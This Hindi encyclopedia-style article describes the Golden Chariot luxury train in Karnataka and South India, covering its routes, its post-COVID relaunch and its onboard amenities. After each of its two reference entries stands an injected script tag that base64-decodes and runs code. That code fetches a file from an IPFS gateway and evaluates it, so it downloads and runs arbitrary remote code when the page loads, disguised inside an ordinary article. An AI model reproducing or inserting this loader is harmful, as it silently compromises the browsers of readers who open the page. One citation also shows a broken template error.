गोल्डन चेरियट
गोल्डन चेरियट (अंग्रेज़ी: Golden Chariot) भारत की शाही रेलगाड़ियों में से एक है। यह अपने शाही सफर के लिए दुनियाभर में प्रसिद्ध है जो भारतीय राज्यों, जैसे- कर्नाटक और गोवा के महत्वपूर्ण पर्यटन स्थलों का सफ़र कराती है। रेल के 19 डिब्बे बैंगनी और स्वर्ण रंग से रंगे गये हैं। दक्षिण भारत की इस रेल में सफर करने के दौरान एक आम इंसान भी राजसी ठाट-बाट जैसा अनुभव कर सकता है। रेल में जिम से लेकर स्पा जैसी कई लग्जरी सुविधाएँ हैं। फाइव स्टार होटल की तरह सजी इस शाही रेल में हर साल हजारों पर्यटक सफर करते हैं।
यात्राक्रम
भारतीय रेलवे गोल्डन चेरियट का संचलान फिर से शुरू करने जा रही है। इस रेल के जरिए जनवरी 2021 से यात्री सफर कर सकेंगे। 'कर्नाटक राज्य पर्यटन विकास निगम' (केएसटीडीसी) ने इस रेल में कई बड़े बदलाव किए हैं। रेल रिन्यूअल का काम किया गया है।
- ये रेल बैंगलोर से मैसूर, हसन, होस्पेट, बादामी, गोवा तथा फिर वापस बैंगलोर आती है।
- दूसरा सफ़र बैंगलोर से, चेन्नई, पांडिचेरी, तंजावुर, मदुरै, नागरकोइल, त्रिवेंद्रम, एर्नाकुलम और फिर वापस बैंगलोर आती है।[1]
सुविधाएँ
'इंडियन रेलवे केटरिंग एंड टूरिज्म कॉर्पोरेशन' ने रेल के इंटीरियर को रिन्यू करने की जिम्मेदारी ली थी, लेकिन कोविड-19 के चलते रिन्यूअल का काम प्रभावित हुआ था। कर्नाटक राज्य पर्यटन विकास निगम के अनुसार, इस रेल का संचालन फिर से शुरू किया जा रहा है। यात्रियों को 6 रात और 7 दिनों के लिए पैकेज ऑफर किया जाएगा। रेल को पैसेंजर के अभाव के कारण पिछले साल अस्थायी रूप से बंद कर दिया गया था।[2]
इस रेल में विभिन्न प्रकार की सुविधाएँ भी हैं-
- रेस्टोरेंट
- यात्री सैलून
- लाउन्ज बार
- एलसीडी टीवी
- एसी बेडरूम
- अटैच्ड बाथरूम
- जिम
- स्पा
- बार
इस रेल में कोविड के खिलाफ सभी सुरक्षा मानकों का पालन किया जा रहा है। रेलों को निश्चित समय अंतराल के बाद सैनेटाइज किया जाएगा। इसके साथ ही रेल में कई वर्ल्ड क्लास सुविधाएं भी यात्रियों की दी जाएंगी। यात्रियों को आरामदायक सफर के लिए गद्दीदार फर्नीचर की सहुलियत मिलेगी। इसके साथ ही रूम को रिनोवेटे किया गया है जिसमें एक फाइव स्टार होटल के कमरे की तरह ही एहसास होगा। इसके साथ ही बेहतरीन बाथरूम भी यात्रियों को मिलेगा। यात्रियों को नई लिनन और कटलरी दी जाएगी।
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टीका टिप्पणी और संदर्भ
- ↑ गोल्डन चेरियट (हिंदी) erail.in। अभिगमन तिथि: 25 जनवरी, 2020।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Error on call to Template:cite web: Parameters url and title must be specified (हिंदी)। । अभिगमन तिथि: 02 जनवरी, 2020।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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